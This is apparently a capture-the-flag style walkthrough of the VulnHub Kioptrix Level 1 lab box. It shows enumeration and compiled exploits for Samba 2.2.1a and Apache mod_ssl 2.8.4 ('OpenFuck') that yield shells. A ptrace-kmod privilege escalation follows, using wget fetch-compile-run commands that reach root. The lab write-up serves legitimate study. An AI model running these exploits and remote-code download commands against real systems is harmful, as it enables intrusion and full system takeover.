

Port 80:

- Found manual directory
- Contains some information of mod_perl
- Unable to find means of exploit

Port 135:

- Does not have a SMB file share

Run Nikto Scan:

- Wordpress is a false positive
- Found many vulnerabilities associated with Apache/1.3.20 & mod_ssl/2.8.4

Samba 2.2.1a Exploit

1. Use metasploit scanner:

```
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.1.104   yes       The target host(s), see https://github.com/rapid7/metasploit-Using-Metasploit
  THREADS   1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_version) > exploit

[*] 192.168.1.104:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.1.104:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.104: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

2. Look for exploit

```
(root@kali)~/vulnHub/kioptrix1/exploit]
# searchsploit multiple/remote/10.c
```

Exploit Title	Path
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution	multiple/remote/10

```
Shellcodes: No Results
(root@kali)~/vulnHub/kioptrix1/exploit]
# searchsploit multiple/remote/10.c
(root@kali)~/vulnHub/kioptrix1/exploit]
# searchsploit -m multiple/remote/10.c
Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
URL: https://www.exploit-db.com/exploits/10
Path: /usr/share/exploitdb/exploits/multiple/remote/10.c
File Type: C source, ASCII text

Copied to: /root/.vulnHub/kioptrix1/exploit/10.c
(root@kali)~/vulnHub/kioptrix1/exploit]
# gcc 10.c -o samba_exploit
(root@kali)~/vulnHub/kioptrix1/exploit]
# ls
10.c 764 764.c ptrace-kmod.c samba_exploit
(root@kali)~/vulnHub/kioptrix1/exploit]
# ./samba_exploit
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

Usage: ./samba_exploit [-bBcCdffprStv] [host]

-b <platform>    bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>        bruteforce steps (default = 300)
-c <ip address>  connectback ip address
-C <max childs>  max childs for scan/bruteforce mode (default = 40)
-d <delay>       bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>        port to attack (default = 139)
-r <ret>         return address
-s              scan mode (random)
-S <network>     scan mode
-t <type>        presets (0 for a list)
-v              verbose mode
```

3. Execute → Root shell

```
(root@kali)~/vulnHub/kioptrix1/exploit]
# ./samba_exploit -b 0 192.168.1.104
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

-----
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
-----
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
```

Mod_SSL 2.8.4 + Apache 1.3.20 (Exploit Fix & Usage)

1. Via searchsploit

```
(root@kali)~/vulnHub/kioptrix1]
# searchsploit mod_ssl/2.8.4
```

Exploit Title	Path
Apache mod_ssl < 2.8.4 OpenSSL - "OpenSSL.c" Remote Buffer Overflow	unix/remote/21071.c
Apache mod_ssl < 2.8.4 OpenSSL - "OpenSSL.c" Remote Buffer Overflow (1)	unix/remote/764.c
Apache mod_ssl < 2.8.4 OpenSSL - "OpenSSL.c" Remote Buffer Overflow (2)	unix/remote/764.c

```
Shellcodes: No Results
```

<pre> [+] [root@kali:~] - vulnhub/kioptrix1 [+] Searchsploit apache 1.3.32 </pre>	
<pre> Exploit Title ----- Apache < 5.3.12 / < 5.4.2 - CGI-bin Remote Code Execution Apache < 5.3.12 / < 5.4.2 - Remote Code Execution & Scanner Apache < (MS02) - "mp.exe" Remote File Disclosure Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.28 - Root Directory Access Apache 1.2.8 < 2.0.44 mod_dirser - Remote Users Disclosure Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow Apache < 2.0.36 / < 2.2.21 mod_setenvif - Integer Overflow Apache < 2.2.14 / < 2.4.2-2 - off_t64 memory leak Apache CouchDB < 2.1.0 - Remote Code Execution Apache CDP < 2.5.10/2.6.12/2.7.14 - Denial of Service Apache mod_ssl < 2.6.7 OpenSSL - "OpenFUCK" Remote Buffer Overflow Apache mod_ssl < 2.6.7 OpenSSL - "OpenFUCK2" Remote Buffer Overflow (1) Apache mod_ssl < 2.6.7 OpenSSL - "OpenFUCK2.c" Remote Buffer Overflow (2) Apache Struts < 1.2.30.2 / < 2.1.2 - CRLF/Unicode Manipulation Remote Code Execution (Metasploit) Apache Struts < 2.2.0 - Remote Command Execution (Metasploit) Apache TitanServer < 5.1.8 - Command Injection Apache Tomcat < 5.5.17 - Remote Directory Listing Apache Tomcat < 6.0.18 - "ufo" Directory Traversal Apache Tomcat < 6.0.18 - "ufo" Directory Traversal (poc) Apache Tomcat < 9.0.1 (beta) / < 8.5.21 / < 8.0.47 / < 7.0.0 - ZIP Upload Bypass / Remote Code Execution (1) Apache Tomcat < 9.0.1 (beta) / < 8.5.21 / < 8.0.47 / < 7.0.0 - ZIP Upload Bypass / Remote Code Execution (2) Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (Poc) Apache Jsp 200/201 < 8.0.10 / Apache Xerces 2.11.0 - "mp.doc" Server Side Denial of Service Webroot Shortbox < 2.32 (Remote) - Local File Inclusion / Remote Code Execution </pre>	<pre> Path ----- php/remote/22200.c php/remote/22318.py windows/remote/21238.txt windows/remote/19973.pl linux/remote/222.c multiple/remote/2237.sh linux/dos/43769.txt linux/webapps/62765.py linux/webapps/44913.py multiple/dos/22318.txt unix/remote/21671.c unix/remote/704.c unix/remote/67000.c multiple/remote/61600.rb multiple/remote/17691.rb windows/remote/62504.py multiple/remote/2001.txt unix/remote/16449.c multiple/remote/6229.txt windows/webapps/62503.txt zip/webapps/62966.py linux/dos/30908.txt php/doc/44057.txt linux/remote/34.pl </pre>

2. Compile the exploits

- Failed

3. Fix the exploit

- [Guide I followed](#)

4. Successfully compiled

```

[+] (root@kali)-[~/vulnHub/kioptrix1/exploit]
# gcc 764.c -o 764 -lcrypto
[+] (root@kali)-[~/vulnHub/kioptrix1/exploit]
# ls
764  764.c
[+] (root@kali)-[~/vulnHub/kioptrix1/exploit]
# ./764

*****
* OpenFUCK v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* #Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P(W) GAT ButtP!rateZ *
*****

: Usage: ./764 target box [port] [-c N]

target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)

```

```
(root@kali) - [~/vulnHub/kioptrix1/exploit]
# ./764 | grep 1.3.20
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x86 - SuSE Linux 7.3 (apache-1.3.20)
```

5. Using the exploit

```
# Usage:

./764 $ip offset $port -c 40-50

- $ip: target IP
- offset: Refer to the list of supported machines
- $port: HTTPS port, port with SSL connection
- c: Use a number between 40-50

# Exploit:

./764 192.168.1.104 0x06a 443 -c 50
./764 192.168.1.104 0x06b 443 -c 50
```

- 0x06a:
 - Failed to work for some reason

6. Shell obtained

```

(root@kali)~[~/vulnHub/kioptrix1/exploit]
# ./764 0xb 192.168.1.104 443 -c 50

*****
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell... 100%
bash: no job control in this shell
bash-2.05$
-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304
--05:35:50-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$
bash-2.05$
bash-2.05$

```

Privilege Escalation

1. The exploit was supposed to provide me with a root shell, but the highlighted part of the code did not work, so we do it manually
2. Download the exploit on your machine and transfer it to the victim

```

(root@kali)~[~/vulnHub/kioptrix1/exploit]
# wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
--2021-11-27 18:32:45-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
Resolving dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
Connecting to dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3921 (3.8K) [text/x-csrc]
Saving to: 'ptrace-kmod.c'

ptrace-kmod.c                               100%[=====] 3.83K --.-KB/s in 0s

2021-11-27 18:32:46 (52.0 MB/s) - 'ptrace-kmod.c' saved [3921/3921]

(root@kali)~[~/vulnHub/kioptrix1/exploit]
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.104 - - [27/Nov/2021 18:33:05] "GET /ptrace-kmod.c HTTP/1.0" 200 -

```

3. Compile → Execute → Obtained root shell

```
wget 192.168.1.1/ptrace-kmod.c
```

```
gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p
```

```
bash-2.05$ wget 192.168.1.1/ptrace-kmod.c
wget 192.168.1.1/ptrace-kmod.c
--06:39:07-- http://192.168.1.1/ptrace-kmod.c
               => `ptrace-kmod.c'
Connecting to 192.168.1.1:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/plain]

 0K ...                               100% @ 3.74 MB/s

06:39:07 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

bash-2.05$ gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p
gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p
[+] Attached to 1436
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root
```